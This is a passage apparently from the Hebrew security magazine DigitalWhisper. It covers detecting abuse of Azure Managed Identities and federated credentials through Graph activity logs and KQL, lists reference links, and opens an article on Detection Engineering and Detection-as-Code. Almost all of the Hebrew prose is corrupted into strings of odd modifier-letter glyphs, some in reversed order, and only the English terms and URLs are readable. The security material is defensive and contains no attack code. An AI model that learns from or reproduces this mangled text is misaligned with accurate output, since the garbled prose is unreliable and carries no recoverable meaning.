˧˶˰˴˪ Σ˞˪ ˧˸˞˴ˬ ˠˣ˪ MI ˫˰ ˰ˡ˧ˬ ˪˰ Location ˞ˬˠˣˡ˪ Σˢ˧ˢ˷ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˡˬ˥ˮ ˢ˶˵ˬ˟ ˪˷ ˢ˲˧˵˸ Φ

ˢ˞˶ˮ˩ ˢˤ˷ ˫ˣ˷ˬ ˢ˷πMI ˣˬ˴˰ ˳˶ ˨ˣ˸˟ sπResource ˧˸ˠ˲ˮ˵˷ ˣ˸ˣ˞ ˣ˧˪˰ Φ 
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нΦ Audit log π ˧˸ˠ˲ˮ˧˵ Federated Credentials ˪πUAMI ˧˪˷ Σ˧˸˪˟˧˵ˣ ˣ˧˪˰ ˠˣ˪Υ 

 

ˠˣ˪ˢ ˣˬ˴˰ ˞ˣˢ ˠˣ˯ˬ Update service principalΦ ˨˯ ˪˩ˢ ˧ˮ˞ ˸˟˷ˣ˥ ˭˧˞˷ ˢ˟˧˯ ˞˪˷ ˶˦ˮ˪ ˷˧˥˶˸ ˢˤ˩ Σ

˭˩˷ ˞ˣˢ ˞˪ ˶ˣˬ˞ ˸ˣ˶˵˪Φ ˵˶ ˟ˣ˷˥ ˭˧˧˴˪ ˷˧˷ ˵ˣˡ˟˪ ˢ˷πServicePrincipal ˞ˣˢ ˸ˬ˞˟ MI ˸˶˥˞ ˢˤ ˭˩ 

˪ˣ˪˰ ˞˧˟ˢ˪ FPΦ  

оΦ GraphActivityLog π ˧ˮ˞ ˞˪ ˯ˮ˩˞ ˶˸ˣ˧ ˧ˡ˧ˬ ˠˣ˯˪ ˫˧ˠˣ˪ˢ ˢˤˢ Σˢˬ˩ˬ ˸ˣ˟˧˯: 

Á ˞ˣˢ ˷˶ˣˡ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ ˢ˪ˣ˰˷ ˱˯˩ ύ˸ˬˣ˰˪ ˫˧˶˥˞ˢ ˞˪˷ ˫˧˷˶ˣˡό 

Á ˸˦˧˷ ˪ˣ˞˷˸ˢ ˠˣ˪˟ ˢˤˢ ˞ˣˢ ˸ˣ˰˴ˬ˞˟ ˸ˣ˸˪˧˞˷ KQL ύ˞˪ ˷˧˷ ˭ˢ˪ syntax ˨˟ˣ˯ˬ ˡ˥ˣ˧ˬ˟ό 

˭˧˧ˮ˰ ˟ˣ˷˥˷ ˭˧˧˴˪ ˧˟ˠ˪ ˠˣ˪ ˢˤ Σ˞ˣˢ ˠˣ˪ˢ˷ ˡ˰˸ˬ ˪˩ ˸˸˪˧˞˷ GraphAPI ˸˧˷˰ˮ˷ ˟πTenantΦ ˢˤ ˸˴˵ 

˶˧˩ˤˬ ˶˦ˮ˪ LDAP ˸˟˧˟˯˟ AD Φ˧ˮ˞ ˸˴˵ ˞˪ ˸˟ˢˣ˞ ˸˞ ˠˣ˪ˢ ˢˤˢ ˧˩ ˞ˣˢ ˫˶ˣˠ ˨˪ ˟ˣ˷˥˪ ˷˧˷ ˨˪ ˣˢ˷ˬ 

˵ˤ˥ ˡ˧˟ Σ˪˰ˣ˲˟˷˩ ˢ˸˞ ˢ˞ˣ˶ ˵˶ ˸ˣ˪ˣ˰˲ ˸ˣ˶ˣ˵˷ ˟πEntra Σ˭˩˷ ˣ˪˞ sπAPI ˷πGraphAPI ˭˴˥˧ˬ Σ˞˪ˣ ˢ˞ˣ˶ 

˫˧˶˟ˡ ˫˧˶ˣ˵˷ ˫˪ˣ˰˟ ˪ˣˡˠˢ ˪˷ Azure Φ˱˯ˣˮ˟ Σ˷˧ ˭ˣˬˢ ˸ˣ˦˧˷ ˵ˬ˥˸ˢ˪ ˠˣ˪ˢˬ ˢˤˢ Σ˭˩˷ ˷˧ ˫˧ˮ˧˧ˬˣˡ 

˫˧˪˧˟˵ˬ ˫˧ˮ˴˥˧ˬ˷ API ˭˸˧ˮ˷ ˰˴˟˪ ˫˸ˣ˰˴ˬ˞˟ ˸˞ ˭˸ˣ˞ ˸ˣ˪ˣ˰˲ˢ Σ˞˪ˣ ˫˷˶ˢ˪ ˠˣ˪˪Φ 

˞ˬˠˣˡˢ ˧˩ˢ ˸˧˯˞˪˵ - GraphAPI ˸ˬˣ˰˪ AzureADAPIΥ 

GraphAPI - https://graph.microsoft.com 

AzureADAPI - https://graph.windows.net 

˧ˮ˷ˢ ˪ˣ˩˧˟˩ ˟˷˥ˮ deprecated ˷ˣˬ˧˷˟ˣ ˧ˬ˧ˮ˲ ˪˷ ˦˲ˣ˯ˣ˶˵˧ˬ Σ˩˞ ˷˶˪˰ˣ˲˟ Σ˟ˣ˶ ˧˪˩ ˢ˲˧˵˸ˢ ύ˸˞ˬˠˣˡ˩ 

RoadTools πAADInternals ό˫˧˷ˬ˸˷ˬ ˶˵˧˰˟ x˟ Σ˭˩˪ˣ ˞˪ ˭˸˧ˮ ˸ˣˢˤ˪ ˫˸ˣ˞ ˸ˣ˰˴ˬ˞˟ sπ

GraphActivityLog Φ 

˶ˣ˴˧˵˟ Σ˧ˮ˞ ˞˪ ˸˟˟ˣ˥ ˢ˪ˣˡˠ ˪˷ ˠˣ˪ˢ ˢˤˢΣ ˪˟˞ ˫˞ ˢ˶˵ˬ˟ ˷˧ ˫˩˪ ˣ˸ˣ˞ Σˢ˶˵ˬ˟ˣ ˷˧ ˫˩˪ MI 

˸˪˞˷˸ˬ˷ ˫˧˶˟ˡ ˟πEntra Σ˭˩ ˣ˪˩ˣ˸ ˸ˣˢˤ˪ ˸˞ ˢˤΦ 

˫˞ˢ ˢˤ ˷˧˥˶˸ ˳ˣ˲ˮ x˞ ˪˪˩˟ ˭˧˧ˮ˰ˬ Κ˧ˮ˞ ˸ˬ˞˟ ˞˪ ˢ˥ˣ˦˟ Σ˪˟˞ ˫˞ ˷˧ detectionπ˫˧ ˭˸˧ˮ˷ ˟ˣ˸˩˪ ˨˩ 

ˣ˶˴˧˷ ˫ˣ˷ False PositivesΚ - ˤ˞ ˢˬ˪ ˞˪Κ 

https://graph.microsoft.com/
https://graph.windows.net/
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˸ˣ˰˴ˬ˞˟ ˢˡ˷ˢ ServicePrincipalId ˪˩ˣˮ ˸ˣˢˤ˪ ˸˞ sπMI ˣˮ˪˷Υ 

 

ˤ˞ ˫˞ ˶˟˩ ˷˧ ˫˩˪ ˸˞ ˠˣ˪ˢ ˢˤˢ Σ˧˸˧˧ˢ ˢ˲˧˯ˣˬ ˪ˣ˞˷˸ ˫˞ ˢ˶˵ˬ˟ ˢˡ˷ˢ ˢˤˢ ˪˧˩ˬ ID ˪˷ MIΦ ˧˩ ˫˞ ˭˩ Σ

ˢˤ ˦˪˥ˢ˟ ˸˴˵ ˶ˤˣˬ Φ 

˭˲ˣ˞˟ ˧˪˪˩ Σ˧ˮ˞ ˸˟˷ˣ˥ ˨˶ˡˢ˷ ˢ˟ˣ˦ˢ ˶˸ˣ˧˟ ˭ˠˢ˪ ˧ˮ˲ˬ ˸ˬ˪˯ˢ ˸ˣ˞˷˶ˢ ˫˰ MI ˞˧ˢ ˦ˣ˷˲ ˪ˣˢ˧ˮ ˭ˣ˩ˮ ˪˷ 

˸ˣ˞˷˶ˢ ˢ˩˧ˬ˸ˣ ˭ˣ˶˵˰˟ sπleast privileges Σ˭˩ˣ Σˢˤ ˷ˬˬ ˧˸˞˷˧˪˵ Σ˪˟˞ ˣ˵˧˯˲˸ ˸˸˪ ˸ˣ˞˷˶ˢ ˸ˣˬˤˠˣˬ 

˥˴˶ ˨˯ ˪˩ˢ ˫˸˞ ˫˧˴ˣ˶ ˢ˧˴˵ˮˣ˲ ˵˧˪ˡ˸˷ ˸˧˦ˬˣ˦ˣ˞ ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ ˞˪ ˨˧˶˴ ˸˸˪ ˢ˪ ˸ˣ˞˷˶ˢ ˪ˣˢ˧ˮ 

˸ˣ˞˪ˬ ˪˰ ˪˩ ˢˮˣ˩ˬˢ ˣ˧˷˩˰ Φ˸ˬ˞˟ ˢˤ˷ ˰ˮˬ˧ ˢ˟˶ˢ ˸ˣ˶˴ ˡ˧˸˰˟ J 

 

˫ˣ˩˧˯ 

MI ˞ˣˢ ˵˶ ˸˸π˫ˣ˥˸ ˪˷ ˦˲˯ˮˣ˵ ˷ˡ˥ ˧˶ˬˠ˪ ˯˲ˣ˸˷ ˢ˴ˣ˞˸ ˭ˬˤ˟ ˭ˣ˶˥˞ˢ ˫˪ˣ˰˟ ˭ˮ˰ˢ Φ˞ˣˢˣ ˫ˣ˥˸ˢ ˪˷ 

˸ˣ˧ˣ˷˧ˢ ˸ˣ˪ˢˣˮˬˢ ˭ˮ˰˟ Φ˫ˮˬ˞ ˢˤ ˡˣ˰ ύ˸˧˯˥˧ ό˷ˡ˥  Σ˪˟˞ ˧ˮ˞ ˢ˥ˣ˦˟ ˡˣ˰˷ ˢ˞˶ˮ ˫˧˶˟ˡ ˫˧ˮ˧˧ˮ˰ˬ ˫˷ Φ 

˭˧˞ˣ ˣˬ˩ ˶˩ˤˢ˪ ˡ˧ˬ˸ ˷˧˷ ˫˪ˣ˰ ˫˪˷ ˫˷ ˭ˮ˰˟ Σ˪˩ˣ ˴˧˲ ˶˭˦˵ ˣ˪˷ ˪ˣ˩˧ ˸ˣ˪˵˟ ˞˪ˬ˪ нл ˫˧ˡˣˬ˰ ˟-

DigitalWhisper J 
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˪˰ ˸˶˟˥ˬˢ 

sapirxfedϪΦ ˫ˣ˧˟ ˫ˣ˧ ˢ˷ˣ˰ ˸ˣ˧ˣ˦˷ ˟πCrowdStrike Σ˸ˣ˵˯˲ˢ˟ˣ ˢ˷ˣ˰ retweet ˪˩˪ ˶˟ˡ ˶ˣ˷˵˷ ˪πAD x˞ 

π˪AAD ύ˟ˣ˦ Σˢˮˣ˶˥˞˪ˣ ˫ˠ AWS ˫˸˯ˣ ˫˧˶˟ˡ ˫˧˪ˬˣˡˮ˶ ˪˷ ˭ˮ˰ΦΦ ΦJό 

˸˟ˢˣ˞ ˟ˣ˸˩˪ ˡˣ˵ Σˢ˯ˮˬ ˞ˣ˴ˬ˪ ˸ˣ˷˪ˣ˥ Σˢ˴˧˶˰ˬˣ ˢ˲ˣ˶˷ ˪˷ DigitalWhisperΗ 

 

ˢ˧˲˶ˠˣ˧˪˟˧˟ 

¶ ˭ˣ˦˶˯ ˢˢˢˢ˪ˣ˰ˬ ˪˰ MIΥ 

https://www.youtube.com/watch?v=rC1TV0_sIrM 

˧˪˪˩˟ ˪˩ ˫˧ˮˣ˦˶˯ˢ ˪˷ ˶ˣ˥˟ˢ ˢˤˢ ˫ˢ ˟ˢˤ ˶ˣˢ˦. 
 

¶ ˡˣˬ˰ ˟˞ˢ˦˧ˠ ˫˰ ˪˩ ˧ˮ˧ˬ ˸ˣˡˣ˵˲ ˪˷ MIΥ 

https://github.com/johnthebrit/RandomStuff/blob/master/ManagedIdentity/mngIdDD.ps1 

¶ ˶ˬ˞ˬˢ ˪˷ Dirk-janΥ 

https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ 

¶ ˶ˬ˞ˬ ˪˰ ˸ˣˮˠˢ ˪˰ ˢ˲˵˸ˬˢ ˷πDirk-jan ˞˴ˬ ˫ˠˣ ˪˩ ˧ˮ˧ˬ ˸ˣˮˣ˧˰˶ ˧ˣˢ˧ˤ˪: 

https://www.cloud-architekt.net/identify-prevent-abuse-uami-fedcreds/ 

¶ ˢ˧˴˦ˮˬˣ˵ˣˡ ˪˷ ˦˲ˣ˯ˣ˶˵˧ˬ ˡ˧ˬ˸ ˟ˣ˦ ˷˧˷: 

https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/overview 

¶ ˪˩ ˧ˮ˧ˬ ˫˧˶˟ˡ Karl Fosaaen ˫˯˶˲ ˪˰ MI Σ˷ˬˬ ˭˧˧ˮ˰ˬΥ 

https://www.netspi.com/blog/technical-blog/cloud-pentesting/extracting-managed-identity-

certificates-from-azure-arc-service/ 

https://www.youtube.com/watch?v=efF5Up7zBrg 

https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-user-assigned-managed-

identities-via-deployment-scripts/ 

  

https://www.youtube.com/watch?v=rC1TV0_sIrM
https://github.com/johnthebrit/RandomStuff/blob/master/ManagedIdentity/mngIdDD.ps1
https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/
https://www.cloud-architekt.net/identify-prevent-abuse-uami-fedcreds/
https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/overview
https://www.netspi.com/blog/technical-blog/cloud-pentesting/extracting-managed-identity-certificates-from-azure-arc-service/
https://www.netspi.com/blog/technical-blog/cloud-pentesting/extracting-managed-identity-certificates-from-azure-arc-service/
https://www.youtube.com/watch?v=efF5Up7zBrg
https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-user-assigned-managed-identities-via-deployment-scripts/
https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-user-assigned-managed-identities-via-deployment-scripts/
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Detection Engineering ˷ˡˣ˵ˢ ˳˶˞˟ 

)˫˧˲˯ˣˮ ˸ˣ˶˴ˣ˞ ˪˪˷ˣ ˸ˣˮ˟ˣ˸ ,˫˧˥˵˪( 

 ˸˞ˬ˭ˬ˲˧ˣ˵ ˪˞˧ˮˡ 

 

ˢˬˡ˵ˢ 

Detection Engineering ˣˮ˧ˢ  ˸ˬ˞˟ ˧ˮ˞ˣ ,˧˪˷ ˸ˣ˥ˬ˸ˢˢ ˫ˠ ˸˞ˤ ,˵˸˶ˬ ˫ˣ˥˸ ˫˸˯ ˞˪ ˢˤ .˵˸˶ˬ ˫ˣ˥˸

 ˢ˪ˣ˰ ˣ˧˪˞ ˸ˣ˰ˡˣˬˢ ˧˩ ˫˞) ˫˪ˣ˰˟ ˧˸˷˧ˮ ˧ˡ ˞ˣˢ ˫ˣ˧ˢ˪ ˭ˣ˩ˮ ˢˤˢ ˰ˣ˴˵ˬˢ .˞˷ˣˮ˟ ˫˪˷ ˶˲˯ ˟ˣ˸˩˪ ˪ˣ˩˧

 ˫˩˸˯ˢ˪ ˸ˣ˪ˣ˩˧ ˧˸˷˧ˮ ˢˤˢ ˰ˣ˴˵ˬˢ ˢˬ˪ ˸ˣ˟˧˯ˢˬ ˵˪˥ .˪˞˶˷˧˟ ˢˬ˩ˣ ˢˬ˩ ˸˥˞ ˪˰ ,(ˢˠ˶ˡˢ˟

:˸ˣ˞˟ˢ ˸ˣˡˣ˵ˮ˟ 

¶ ˸ˣ˷˧˶ˡ ˢ˯˧ˮ˩˪ ˸ˣˢˣ˟ˠ ˱˯ 

¶ ˸˶ˠˣ˟ ˰ˡ˧ˬ ˸˥˦˟˞ ˸˧ˮ˩ˣ˸ ˸ˣ˪˰˟ ˸ˣ˶˟˥ˣ ˫˧ˮˣˠ˶˞˪ ˶ˣˬ˷ 

¶ ˶˵˧ ,˨˩ˬ ˢ˞˴ˣ˸˩ˣ ,˶˷˩ˣˬ ˫ˡ˞ ˥ˣ˩ ˫˴˰˪ ˸ˣ˷˶ˢ˪ ˫˧˪ˣ˩˧˷ ˫˧ˮˣˠ˶˞˪ ˶ˣˬ˷ 
 

 ˧˪ ˶˧˩ˤˬ ˢˤ .˫˧ˮˣ˷˞˶ˢ ˣ˧˟˪˷˟ ˭˧˧ˡ˰ ˢˤˢ ˰ˣ˴˵ˬˢ ˰ˣˡˬ ˭˧˟ˢ˪ ˶˷˲˞ ,ˣ˪˞ˢ ˸ˣˡˣ˵ˮˢ ˪˰ ˯˯˟˸ˢ˟ ˵˶

 ˭ˮ˰ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˢ˟˷ ˢ˲ˣ˵˸ˢ ˸˞ ,˸ˣ˩˪ˣˢ ˭ˢ ˭˩˧ˢ˪ˣ ˣ˞˟ ˭˩˧ˢˬ ˭˧˟ˢ ˸ˬ˞˟ ˞˪ ˡ˥˞ ˱˞ ,˸ˣ˷ˡ˥ ˣ˧ˢ

 ˸ˬˠˬ ˧˩ ˫˞ ,˟˴ˬ ˣ˸ˣ˞˟ ˰ˠ˶˩ ˞˴ˬˮ ˢˤˢ ˫ˣ˥˸ˢ˷ ˭˧ˬ˞ˬ ˧ˮ˞ .'ˣ˩ˣ ˫˧˪ˡ ˣ˧ˢ ˡˣˬ˧˪ ˧˶ˬˣ˥ˣ ˸ˣ˶˷˩ˢ

˸ˣˬ˯˶ˣ˲ˬˢ ˸ˣ˶˷ˬˢ ˟-Linkedin  ˸ˣ˶˟˥ .(˟"ˢ˶˞˟ˣ ˢ˲ˣ˶˧˞˟ ˡ˥ˣ˧ˬ˟) ˧˦˧˞ ˟˴˵˟ ˢ˪ˣ˰ ˢˤˢ ˫ˣ˥˸˪

˧ˮ˩ˣ˸˟ ˸ˣ˴˧˥ˮˢ ˸˞ ˸ˣˮ˧˟ˬ ˸Detection  ˫˪ˣ˰ˢ ˪˷ ˸˟˩˶ˣˬˢ ˫˧ˬˣ˧˞ˢ ˸˧˧˶˦ˬ ˫˰ ˡˡˣˬ˸ˢ˪ ˢˬ˧˞˸ˬ˷

.ˢˡ˧ˬˢ ˪˰ ˶˸˧ ˫˧˧ˮ˩˦ ˫˧˵ˬˣ˰˪ ˯ˮ˩˧ˢ˪ ˧˪˟ˬ ,˨˧˞ˣ ˢˬ˪ ,ˢˬ ˡ˥˧ ˭˧˟ˮ ˣˮ˥ˮ˞ ,ˢˤˢ ˶ˬ˞ˬ˟ .˧ˮ˶ˡˣˬˢ 

 

 ˤ˞ˢˬ  ˢˤDetection Engineering x-Detection-as-Code? 

Detection Engineering  ,ˢ˶˧˴˧˟ ˵˯ˣ˰ˢ ˫ˣ˥˸ ˞ˣˢ ,˫˧ˬˣ˧˞ ˧ˣ˪˧ˠ˪ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˣ ˸ˣ˩˶˰ˬ ˪˷ ˫ˣ˷˧˧ˣ ,˥ˣ˸˧˲

 ,ˢ˶˧ˡ˥ ˸ˣˮˣ˧˯˧ˮ ˢ˪˧˰˧ˣ ˢ˶˧ˢˬ ˢ˶ˣ˴˟ ˸ˣˢˤ˪ ˞˧ˢ ˢ˶˦ˬˢ .˶˟˧˧˯ˣ ˰ˡ˧ˬ ˸˥˦˟˞ ˪˷ ˫˧˶˷˵ˢ˟ ˶˵˧˰˟

˸ˣ˧ˮˣˠ˶˞ˢ ˰ˡ˧ˬˢ ˸ˣ˩˶˰ˬ ˪˰ ˫˧˧ˬ˧ˮ˲ ˫˧ˬˣ˧˞ ˣ˞ ˶˟˧˧˯ ˸ˣ˲˵˸ˬ. 

˫˧˧˦ˬˣ˦ˣ˞ ˫˧˪˩ˣ ˫˧ˬ˸˧˶ˣˠ˪˞ ,˫˧˵ˣ˥ ˪˷ ˢ˧˧ˮ˟˟ ˫˧ˡ˵ˬ˸ˬ ˢˤ ˫ˣ˥˸˟  ˸ˣˠˢˮ˸ˢ ˸ˣˢˤ˪ ˫˧˪ˠˣ˯ˬ˷

 .˫˧˶˟ˣ˥ˬ ˫˧˶˧˷˩ˬˬ ˣ˞ ˸ˣ˧˴˵˧˪˲˞ˬ ,ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬˬ ,˸ˣ˸˷˶ˬ ˪˟˵˸ˬ˷ ˰ˡ˧ˬ˟ ˸ˣ˧˪ˬˣˮ˞ ˣ˞ ˢˡˣ˷˥

˫˧ˠˣ˪ ˥ˣ˸˧ˮ ˣˬ˩ ˸ˣ˧˦ˬˣ˦ˣ˞ ˸ˣ˦˧˷ˣ ,˶ˣ˦˧ˮ ˧˪˩˟ ˷ˣˬ˧˷ ,˫˧ˮˣ˸ˮ ˥ˣ˸˧ˮ ˸ˣ˰˴ˬ˞˟ ˢ˷˰ˮ ˶˟ˡˢ,  ˧ˣˢ˧ˤ˪ ˫˧˪˩

ˢˬ˧˸˥ ˯˯ˣ˟ˬ (Signature-based Detection)  ˥ˣ˸˧ˮ ˣ˞˸ˣˠˢˮ˸ˢ ˯˯ˣ˟ˬ (Behavioral Detection). 



 
 

Detection Engineering   
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 167, ˶˟ˬ˟ˣˮ нлнп  нт 
 

˸˸ ˣ˪ ˟˷ˣ˧ ,ˣ˪˞ˢ ˯˧˯˟ˢ ˧ˮ˟˞ ˪˰-) "ˡˣ˵˩ ˧ˣˢ˧ˤ" ˞˶˵ˮ˷ ˫ˣ˥˸Detection-as-Code ˫˧ˮ˧˧ˮ˰ˢ ˢ˲ˣ ,(

˸˞ˤ ˡˣ˵˩ ˧ˣˢ˧ˤ .ˢ˴ˣ˞˸ ˶ˣ˟˴˪ ˫˧˪˧˥˸ˬ  ,˶˟˧˧˯˟ ˫˧ˬˣ˧˞ ˧ˣˢ˧ˤ ˸ˣ˩˶˰ˬ ˫ˣ˷˧˧ˣ ˥ˣ˸˧˲˪ ˸˧ˮ˷ˡ˥ ˢ˷˧ˠ ˢ˟˷

,˫˧˟˸˩ˮ ˫˧ˬˣ˧˞˪ ˢ˟ˣˠ˸ˢˣ ˧ˣˢ˧ˤˢ ˧˵ˣ˥ .ˢˮ˩ˣ˸ ˡˣ˵˩ ˫˧˪ˢˣˮˬˣ ˫˧˵ˤ˥ˣ˸ˬ  ˫˧˪˩ ˪˰ ˨ˬ˸˯ˢ˪ ˫ˣ˵ˬ˟

 ˸˶˷˲˞ˬ ˣˤ ˢ˷˧ˠ ,˸ˣ˶˧ˢˬ˟ ˫˧ˮ˸˷ˬˢ ˶˟˧˧˯ ˧ˬˣ˧˞ ˪˷ ˟˴˵˟ ˡˣˬ˰˪ ˫˧˷˵˸ˬ˷ ˫˧˧˦˦˯ ˫˧˵ˣ˥ ˣ˞ ˫˧˧ˮˡ˧

ˢ˯˧˶˲ˣ ˸ˣ˧˦ˬˣ˦ˣ˞ ˸ˣ˵˧ˡ˟ ,˸ˣ˞˯˶ˠ ˸˶˵˟ ˣˬ˩ ˢˮ˩ˣ˸ ˥ˣ˸˧˲ ˪˷ ˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˦˧˷˟ ˷ˬ˸˷ˢ˪ ˸˩˷ˬ˸ˬ 

)Continuous Deployment.( 

ˢ˧ˤ˟˧ˣ- ˵ˣˡ˟˪ ,˭ˣˠ˶˞ˢ ˸˟˧˟˯ ˶ˣ˟˰ ˸˧˷˧˞ ˢˬ˞˸ˢ˟ ˧ˣˢ˧ˤ ˧˵ˣ˥ ˶˧ˡˠˢ˪ˣ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˢ˥˦˟˞ ˧˸ˣˣ˴ ,ˡˣ˵˩

 ˢˤ ˨˧˪ˢ˸ .˫˧˷ˡ˥ ˸ˣˮ˟ˣ˸ˣ ˫˧˧ˣˮ˧˷ ˯˧˯˟ ˪˰ ˫˧˵ˣ˥ˢ ˸˞ ˶˲˷˪ˣ ,ˢ˯˧˶˲ˢ ˧ˮ˲˪ ˫ˢ˪˷ ˸ˣ˧˟˧˦˵˲˞ˢ ˸˞

ˣˢ˧ˮ ˥˧˦˟ˬˣ ,˫˧˵ˣ˥˟ ˶ˤˣ˥ ˷ˣˬ˧˷ˣ ˱ˣ˸˧˷ ˶˷˲˞ˬ ,˶˸ˣ˧ ˢ˷˧ˬˠ˪ ˧ˣˢ˧ˤˢ ˸˩˶˰ˬ ˸˞ ˨˲ˣˢ ˧˸˦˧˷ ˪

˧ˣˢ˧ˤˢ ˧˪˪˩ ˪˷ ˶ˡˣ˯ˬˣ. 

 ˧ˣˢ˧ˤ ˸ˣ˩˶˰ˬ ˥˸˲˪ ˢˮˠˢ ˧˸ˣˣ˴˪ ˸˰˧˧˯ˬˣ ,˰ˡ˧ˬ ˸˥˦˟˞ ˭˧˟˪ ˢˮ˩ˣ˸ ˸˯ˡˮˢ ˸ˣˮˣ˶˵˰ ˭˧˟ ˸˟˪˷ˬ ˢ˷˧ˠˢ

˫˧˧ˬˮ˧ˡ ˫˧ˬˣ˧˞ ˫˰ ˢ˪˧˰˧ˣ ˢ˶˧ˢˬ ˢ˶ˣ˴˟ ˡˡˣˬ˸ˢ˪ ˸ˣ˪ˣ˩˧˷. 

 

ˢˬ ˷˶ˡˮ ˬ-Detection Engineer ˸˰ˡ˪? 

 ,˯˧˯˟ˢ ˸ˬ˶˟Detection Engineer ˭˧˟˧ ˶˟˧˧˯ˢ ˸ˣˬ˪ˣ˰ˬ ˫˧˟˶ ˸ˣˮˣ˶˵˰ ,ˢˣ ˸ˣˮ˩˸ˢ-DevOps: 

¶ ˶˟˧˧˯ˢ ˫ˣ˥˸˟ ˢ˵˧ˬ˰ˬ ˢˮ˟ˢ : ˸ˣ˲˵˸ˢ ˧ˠˣ˯ ˫˰ ˸ˣ˶˩˧ˢ ,˸ˣ˴ˣ˲ˮ˫˧˲˵ˣ˸ ˪˷ ˢ˪ˣ˰˲ ˸ˣ˦˧˷ (TTPs), 

˫˸ˣ˞ ˫˧˷ˬ˷ˬˢ ˫˧˪˩ˣ. 

¶  ˸ˣ˩˶˰ˬ ˫˰ ˢ˵ˣˬ˰ ˸ˣ˶˩˧ˢSIEM:  ˣˬ˩QRadar ,Splunk ,Sentinel ,Elastic ,Chronicle 

¶  ˫˰ ˸˧ˬ˧˦ˮ˧˞ ˸ˣ˶˩˧ˢLogging: Detection Engineer  .ˣˡ˧ ˱˩ ˸˞ ˶˧˩ˬ ˞ˣˢ˷ ˣˬ˩ ˫˧ˠˣ˪ ˶˧˩ˢ˪ ˟˧˧˥

ˣ˪˷ ˢˮ˟ˢ˟ ˫˧˧ˣ˪˸ ˣ˧ˢ˧ ,˫ˢ˪˷ ˢˬ˶ˢˣ ,˟˸ˣ˩ ˞ˣˢ˷ ˫˧˵ˣ˥ˢ ˟-Telemetry  ˸˥˦˟˞ ˧˟˧˩˶ˣ ˧˶˴ˣˬ˷

 ˣˬ˩ ,˫˧˶˴˧˧ˬ ˫˧ˮˣˣˠˬˣ ˫˧ˮˣ˷ ˰ˡ˧ˬOkta ,Entra ID ,Firewalls ,EDR ,Office 365  ,˨˩˪ ˱˯ˣˮ˟ .'ˣ˩ˣ

ˢˮ˟ˢ ˸˷˶ˡˮ ˟-Regex .˫ˬ˴˰ ˫˧ˠˣ˪ˢˬ ˸ˣˡ˷ ˶˯˶˲˪ ˸ˮˬ ˪˰ 

¶ ˡˣ˵ ˸˟˧˸˩ : ˡˣ˵ ˟ˣ˸˩˪ ˸˪ˣ˩˧ ˸ˣˮ˟˪ ˸ˮˬ ˪˰CI/CD Pipelines  ˧˵ˣ˥ ˪˷ ˢ˴˲ˢˣ ˢ˵˧ˡ˟˟ ˫˧˩ˬˣ˸˷

.˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˩˶˰ˬ˪ ˧ˣˢ˧ˤ 

¶ ˸ˣ˞˯˶ˠ ˸˶˵˟ : ˣˬ˩ ˡˣ˵ ˪ˣˢ˧ˮ ˸ˣ˩˶˰ˬ˟ ˢ˦˧˪˷Git ˣˢ˧ˤ ˧˵ˣ˥ ˪˷ ˱ˣ˸˧˷ˣ ˥ˣ˸˧˲ ˨˶ˣ˴˪ˡˣ˵˩ ˧. 

¶ :ˢ˧˴ˬˣ˦ˣ˞˟ ˭ˣ˧˯˧ˮ  ˫˧˪˩˟ ˷ˣˬ˧˷˪˪˩ ˢ˴˲ˢ˟ ˫˧˩ˬˣ˸˷-˸˧ˮˣˠ˶˞ ˣˬ˩ ,Jenkins x˞ GitLab CI/CD. 

¶  ˫˰ ˡˣ˟˰˪ ˸˪ˣ˩˧ˣ ˢ˶˩ˢsAPI: ˸ˣ˶˧˷˧ ˫˧˵ˣ˥ ˳˧˲ˢ˪ ˫˧˰ˡˣ˧˷ ˫˧˦˲˧˶˵˯ ˟ˣ˸˩˪ ˸ˮˬ ˪˰ ˪-API  ˪˷

.˶˴ˣˬˢ 

 ˞ˣˢˣ ,ˢˣ˟ˠ ˭˩˞ ˞ˣˢ ˱˯ˢ˵˶  .˭ˬˤˢ ˪˩ ˢ˪ˣ˰ 
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ˢˬˠˣˡ  ˸˧ˮ˩ˣ˸˪Detection-as-Code ˭ˣˠ˶˞˟ 

˧ˣˢ˧ˤ ˸˧ˮ˩ˣ˸ ˪˷ ˫ˣ˷˧˧- ˥ˣ˸˧˲ ˪˷ ˫˧˧ˮ˶ˡˣˬ ˫˧˩˧˪ˢ˸ˣ ˫˧˪˩ ˫˧˟˪˷ˬˢ ˫˧˟˪˷ ˶˲˯ˬ ˪˪ˣ˩ ˭ˣˠ˶˞˟ ˡˣ˵˩

 .˶˟˧˧˯ ˸˥˦˟˞ ˫˰ ˢˮ˩ˣ˸ ˫˧˟˪˷ˢ ˨˞ ,ˣ˪˷ ˸ˣ˪˟ˠˬˢˣ ˫˧˧˷˵ˢ ˫˰ ˡˡˣˬ˸ˬ ˭˟ˣˬ˩ ˭ˣˠ˶˞ ˪˩˷ ˭˧˧˴˪ ˟ˣ˷˥

:˧ˡ˧˪ˣ˯ ˯˧˯˟ ˶ˣ˸˟ ˷ˬ˷˪ ˫˧˪ˣ˩˧ ˣ˪˞ˢ 

 ˟˪˷м -  ˱ˣ˯˧˞:˫˧ˬˣ˧˞ˢ ˸ˮ˟ˢˣ ˸ˣ˷˧˶ˡ 

˰ˡ˧ˬˢ ˸˥˦˟˞ ˸ˣˣ˴ ,ˢˤ ˟˪˷˟ (SOC)  ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧ˬˣ˧˞ˢˣ ˸˩˶˰ˬˢ ˧ˮ˧˧˲˞ˬ ,˫˧ˮˣ˩˧˯ˢ ˸˞ ˥˸ˮˬ

